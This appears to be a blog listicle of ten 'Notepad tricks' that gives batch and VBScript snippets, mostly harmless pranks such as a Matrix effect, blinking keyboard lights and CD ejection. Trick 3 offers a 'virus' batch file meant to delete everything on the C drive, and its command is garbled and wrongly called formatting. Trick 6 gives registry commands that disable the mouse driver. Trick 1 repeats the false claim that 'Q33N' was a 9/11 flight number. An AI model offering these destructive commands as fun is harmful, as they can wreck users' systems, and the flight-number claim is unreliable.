10 Cool Notepad Tricks To Have Fun With!

Notepad may be one of the least liked text editors, but it sure has some nifty tricks. These are simple tricks that can be used for fun. Some tricks can be quite damaging to your PC though, so use them with caution. Enjoy!

1. World Trade Center Attack Trick

We'll start with a simple and well known trick. In fact, this isn't exactly a trick. The flight number for the plane that hit the World Trade Center on 9/11 was Q33N.

- Put the flight number of Notepad.
- Change font size to 72.
- Change font to Windings.

The result shows you an airplace, two identical tower like things and a skull and cross bones symbol. Coincidence?

2. Matrix Falling Code Effect

This is another well known trick. The green falling code in the Matrix movies can be emulated using Notepad. Here's how,

- Copy the code below to notepad.

@echo off
color 02
:start
echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%
goto start

- Save this file with a .bat extension.
- Open the save file.

This will start the matrix falling code effect on your monitor.

3. Virus to format C Drive

This is a dangerous trick, so it should be used with caution. It actually does delete everything on your C drive.

- Copy the code below to Notepad.

@Echo off
Del C:\ *.* |y

- Save this file with a .bat extension.

- Run this file and it will format your C drive.

4. Use Notepad as a personal log

You can use Notepad as a digital log for noting down your activities.

- Type .LOG in capital letters on Notepad.

- Save the file and close it.

Now when you open this file it will show you the current date and time and you can make notes accordingly.

5. Disco Keyboard LED lights

For this you will be creating a Visual Basic script on Notepad.

- Copy the following code onto Notepad.

Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
wshshell.sendkeys "{NUMLOCK}"
wshshell.sendkeys "{SCROLLLOCK}"
loop

- Save this file with a .vbs extension.

When you open this file, your keyboard's LED lights for Caps Lock etc. should start blinking and dancing. To stop this, open task manager and stop the wscript.exe process.

6. Disable the mouse using a Notepad made virus

This is another dangerous trick so don't play around with it.

- First copy the code below to Notepad.

rem Disable Mouse
set key="HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass"
reg delete %key%
reg add %key% /v Start /t REG_DWORD /d 4

- Save this file with a .bat extension.

This will disable the mouse on your computer.

7. Can your computer speak?

Sure it can. Notepad can make it do so. Here's how,

- Copy the code below to Notepad.

Dim speaks, speech
speaks="Welcome to your PC, Username"
Set speech=CreateObject("sapi.spvoice")
speech.Speak speaks

- Save this file with a .vbs extension.

Now open the .vbs file that has been created and you will hear your computer blurt out a few words to you.

8. Eject CD Drive, Continuously

This is another visual basic script that can be run using Notepad. It ejects the CD drive on your computer and keeps ejecting it until you stop the script.

- Copy this code to Notepad.

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

- As before, put a .vbs extension while saving the file.

Run this file and watch your CD Drive pop out!

9. Toggle Caps Lock on/off

You can turn Caps Lock on or off using this VB script.

- Put this code on Notepad.

Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{CAPSLOCK}”
loop

- Save with .vbs extension.

Run this file and voila!

10. Continuously repeat the same message

You can use Notepad to make a file that keeps showing the same message continuously as long as it is open.

- Use the code below,

@ECHO off

:Begin

msg * Hi

msg * Welcome to notepad

msg * Enjoy the read

GOTO BEGIN

- Save the file with a .bat extension.

Run the file and you will know how glad we are to have you.